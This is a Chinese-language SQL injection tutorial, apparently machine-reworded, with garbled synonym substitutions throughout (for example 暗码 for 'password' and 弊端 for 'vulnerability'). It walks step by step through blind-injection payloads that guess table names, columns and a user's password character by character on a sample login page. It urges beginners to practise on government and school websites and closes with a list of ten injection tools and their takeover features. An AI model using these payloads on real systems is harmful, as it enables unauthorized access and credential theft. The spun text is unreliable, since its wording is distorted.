SQL注入 ,就是通过把SQL下令 插入到Web表单提交或输入域名或页面哀求 的查询字符串,终极 到达 诱骗 服务器实行 恶意的SQL下令 。具体 来说,它是利用 现有应用程序 ,将(恶意的)SQL下令 注入到背景 数据库引擎实行 的本领 ,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全弊端 的网站上的数据库,而不是按照计划 者意图去实行 SQL语句。
黑客新手常用的sql注入就是利用 一些注入工具 ,比如 :啊D,明小子一些的简单 sql注入工具。如今 的网站可以或许 用sql注入的弊端 已经很少了,一样平常 当局 和学校的网站弊端 比力 多 ,可以作为肉鸡试一试 。
下面讲一下早些年的sql简单 方法:
起首 我们在一个具备sql注入弊端 的网站开始实战测试(实行 网站已经关照 修复)条件 预备 :
肉鸡网站:https://172.18.3.13:81/login.asp?name
用户名:admin 暗码 :admin
所需sql注入语句
(1)判定 有无注入点
; and 1=1 and 1=2
(2)猜表一样平常 的表的名称无非是admin adminuser user pass password 等..
and 0(select count(*) from *)
and 0(select count(*) from admin) ---判定 是否存在admin这张表
(3)猜帐号数量 假如 碰到 0 返回精确 页面 1返回错误页面阐明 帐号数量 就是1个
and 0(select count(*) from admin)
and 1(select count(*) from admin)
(4)猜解字段名称 在len( ) 括号内里 加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)0)--
and 1=(select count(*) from admin where len(用户字段名称name)0)
and 1=(select count(*) from admin where len(_blank暗码 字段名称password)0)
(5)猜解各个字段的长度 猜解长度就是把0变更 直到返回精确 页面为止
and 1=(select count(*) from admin where len(*)0)
and 1=(select count(*) from admin where len(name)6) 错误
and 1=(select count(*) from admin where len(name)5) 精确 长度是6
and 1=(select count(*) from admin where len(name)=6) 精确
and 1=(select count(*) from admin where len(password)11) 精确
and 1=(select count(*) from admin where len(password)12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 精确
(6)猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就如许 一次加一个字符如许 猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where
Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和_blank暗码 .只要把背面 的数字换成中文的ASSIC码就OK.末了 把结果 再转换成字符.
开始sql入侵
SQL注入弊端 测试:
在正常用户名admin后增长 一个单引号,单击"登录"
或在URL地点 栏直接输入https://172.18.3.13:81/login.asp?name=admin'pass=admin
若堕落 ,证明 没有对'举行 过滤,存在SQL注入弊端
在正常用户名admin后增长 一个单引号 ,单击"登录"
堕落
在URL地点 栏直接输入https://172.18.3.13:81/login.asp?name=admin'pass=admin
登录堕落
登录堕落 ,证明 存在SQL注入弊端 。
1、SQL注入攻击
构造可以正常运行的目标 地点
输入https://172.18.3.13:81/login.asp?name=admin pass=admin' and '1=1
原SQL语句为SELECT * FROM data Where uname='admin',条件未变 ,但吸取 暗码 为admin' and '1=1
登录失败
输入https://172.18.3.13:81/login.asp?pass=adminname=admin' and 1=1 and 'a'='a
原SQL语句为SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'
登录乐成
可以正常运行的目标 地点 已经构造乐成 ,此时可将1=1部分 用SQL查询语句更换 ,依次对数据库表名 、表中字段名、用户和暗码 长度、用户和暗码 举行 测试
2 、猜解数据库表名
https://172.18.3.13:81/login.asp?pass=adminname=admin' and (select count(*) from data)0 and 'a'='a
乐成 ,阐明 数据表名确为data;若不乐成 ,则可反复测试,直至乐成 猜出表名
3、猜解数据库字段名
https://172.18.3.13:81/login.asp?pass=adminname=admin'and (select count(uname) from data)0 and 'a'='a
若用户名字段确为uname ,则提示登录乐成
同理可猜出暗码 字段为upass
推测 用户名字段为name,登录堕落
推测 用户名字段为uname,登录乐成
阐明 数据库中用户名字段为uname
推测 暗码 字段为upass ,登录乐成
阐明 数据库中暗码 字段为upass
4、猜解暗码 长度
已知有一用户名为"wucm",起首 猜其暗码 长度大于1
https://172.18.3.13:81/login.asp?pass=adminname=admin' and (Select count(*) from data where uname='wucm' and len(upass)1)0 and 'a'='a
乐成 ,阐明 用户"wucm"的暗码 大于1, 继承 推测 暗码 长度小于10
https://172.18.3.13:81/login.asp?pass=adminname=admin' and (Select count(*) from data where uname='wucm' and len(upass)10)0 and 'a'='a
乐成 ,阐明 "wucm"的暗码 长度小于10位,继承 推测 其暗码 长度小于5
https://172.18.3.13:81/login.asp?pass=adminname=admin' and (Select count(*) from data where uname='wucm' and len(upass)5)0 and 'a'='a
堕落 ,阐明 "wucm"的暗码 长度大于5位 ,继承 推测 其暗码 长度大于8位
https://172.18.3.13:81/login.asp?pass=adminname=admin' and (Select count(*) from data where uname='wucm' and len(upass)8)0 and 'a'='a
堕落 ,阐明 "wucm"的暗码 长度小于8位,继承 推测 其暗码 长度便是 6位
https://172.18.3.13:81/login.asp?pass=adminname=admin' and (Select count(*) from data where uname='wucm' and len(upass)=6)0 and 'a'='a
乐成 ,阐明 "wucm"的暗码 长度为6位
5 、猜解暗码
根据前面的测试我们已经知道该用户的暗码 长度位6位,接下来对暗码 举行 逐位推测 :
起首 测试第一位是否为数字
https://172.18.3.13:81/login.asp?pass=adminname=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)'9')0 and 'a'='a
堕落 ,阐明 暗码 第一位不是数字 , 测试是否位字母
https://172.18.3.13:81/login.asp?pass=adminname=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)'a')0 and 'a'='a
乐成 ,根本 阐明 暗码 第一位是字母, 接下来重复测试 ,不绝 缩小字母范围,末了 确定暗码 第一位为字母"w"
https://172.18.3.13:81/login.asp?pass=adminname=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')0 and 'a'='a
乐成 ,阐明 暗码 第一位位"w"
同理对6位暗码 逐位举行 推测 ,末了 得到暗码 为"wcm987"
至此我们就推测 出用户"wucm"的暗码 为"wcm987" ,举行 登岸 测试:
登录乐成 ,证明 整个推测 过程和末了 得出的暗码 都是精确 的。
10款 SQL 注入工具
1、BSQL Hacker
BSQL Hacker是由Portcullis实行 室开辟 的,BSQL Hacker 是一个SQL主动 注入工具(支持SQL盲注) ,其计划 的目标 是盼望 能对任何的数据库举行 SQL溢出注入 。 BSQL Hacker的实用 群体是那些对注入有履历 的利用 者和那些想举行 主动 SQL注入的人群。BSQL Hacker可主动 对Oracle和MySQL数据库举行 攻击,并主动 提取数据库的数据和架构。
2、The Mole
The Mole是一款开源的主动 化SQL注入工具,其可绕过IPS/IDS(入侵防御体系 /入侵检测体系 ) 。只需提供一个URL和一个可用的关键字 ,它就可以或许 检测注入点并利用 。The Mole可以利用 union注入技能 和基于逻辑查询的注入技能 。The Mole攻击范围包罗 SQL Server 、MySQL、Postgres和Oracle数据库。
3、Pangolin
Pangolin是一款资助 渗出 测试职员 举行 SQL注入(SQL Injeciton)测试的安全工具 。Pangolin与JSky(Web应用安全弊端 扫描器、Web应用安全评估工具)都是NOSEC公司的产物 。Pangolin具备友爱 的图形界面以及支持测试险些 全部 数据库(Access 、MSSql、MySql、Oracle 、Informix、DB2、Sybase 、PostgreSQL、Sqlite)。Pangolin可以或许 通过一系列非常简单 的操纵 ,到达 最大化的攻击测试结果 。它从检测注入开始到末了 控制目标 体系 都给出了测试步调 。Pangolin是如今 国内利用 率最高的SQL注入测试的安全软件。
4、Sqlmap
Sqlmap是一个主动 SQL 注入工具 。其可胜任实行 一个广泛的数据库管理体系 后端指纹,检索DBMS数据库 、usernames、表格、列 、并罗列 整个DBMS信息。Sqlmap提供转储数据库表以及MySQL、PostgreSQL、SQL Server服务器下载或上传任何文件并实行 恣意 代码的本领 。
5、Havij
Havij是一款主动 化的SQL注入工具 ,它可以或许 资助 渗出 测试职员 发现和利用 Web应用程序的SQL注入弊端 。Havij不但 可以或许 主动 发掘 可利用 的SQL 查询,还可以或许 辨认 背景 数据库范例 、检索数据的用户名和暗码 hash、转储表和列、从数据库中提取数据,乃至 访问底层文件体系 和实行 体系 下令 ,固然 条件 是有 一个可利用 的SQL注入弊端 。Havij支持广泛的数据库体系 ,如 MsSQL, MySQL, MSAccess and Oracle。 Havij支持参数设置 以躲避IDS,支持署理 ,背景 登岸 地点 扫描 。
6 、Enema SQLi
Enema SQLi与其他 SQL注入工具差别 的是 ,Enema SQLi不是主动 的,想要利用 Enema SQLi必要 肯定 的相干 知识。Enema SQLi可以或许 利用 用户自界说 的查询以及插件对SQL Server和MySQL数据库举行 攻击。支持基于error-based、Union-based和blind time-based的注入攻击。
7、SQLninja
SQLninja软件用Perl编写,符合GPLv2标准 。SQLninja的目标 是利用 Web应用程序中的SQL注入式弊端 ,它依靠 微软的SQL Server作为后端支持。其重要 的目标 是在存在着弊端 的数据库服务器上提供一个长途 的外壳,乃至 在一个有着严格 的防范步伐 的环境 中也能云云 。在一个SQL注入式弊端 被发现以后,企业的管理员特别 是渗出 攻击的测试职员 应当利用 它 ,它能主动 地担当 数据库服务器 。如今 市场上有很多 别的 的SQL注入式弊端 工具,但SQLninja与别的 工具差别 ,它无需抽取数据 ,而偏重 于在长途 数据库服务器上得到 一个交互式的外壳,并将它用作目标 网络中的一个驻足 点。
8 、sqlsus
sqlsus是一个开放源代码的MySQL注入和担当 工具,sqlsus利用 perl编写并基于下令 行界面。sqlsus可以获取数据库布局 ,注入你本身 的SQL语句,从服务器下载文件,爬行web站点可写目次 ,上传和控制后门 ,克隆数据库等 。
9、Safe3 SQL Injector
Safe3 SQL Injector是一个最强大 和最易利用 的渗出 测试工具,它可以主动 检测和利用 SQL注入弊端 和数据库服务器的过程中。Safe3 SQL Injector具备读取MySQL、Oracle 、PostgreSQL、SQL Server、Access 、SQLite、Firebird、Sybase、SAP MaxDB等数据库的本领 。同时支持向MySQL 、SQL Server写入文件,以及SQL Server和Oracle中实行 恣意 下令 。Safe3 SQL Injector也支持支持基于error-based、Union-based和blind time-based的注入攻击。
10、SQL Poizon
SQL Poizon的图形界面利用 户无需深厚的专业知识便可以或许 举行 攻击 ,SQL Poizon扫描注入工具内置欣赏 器可资助 查察 注入攻击带来的影响。SQL Poizon充实 利用 搜刮 引擎“dorks ”扫描互联网中存在SQL注入弊端 的网站 。
(泉源 :盘算 机与网络安全)
以攻促防,攻防兼备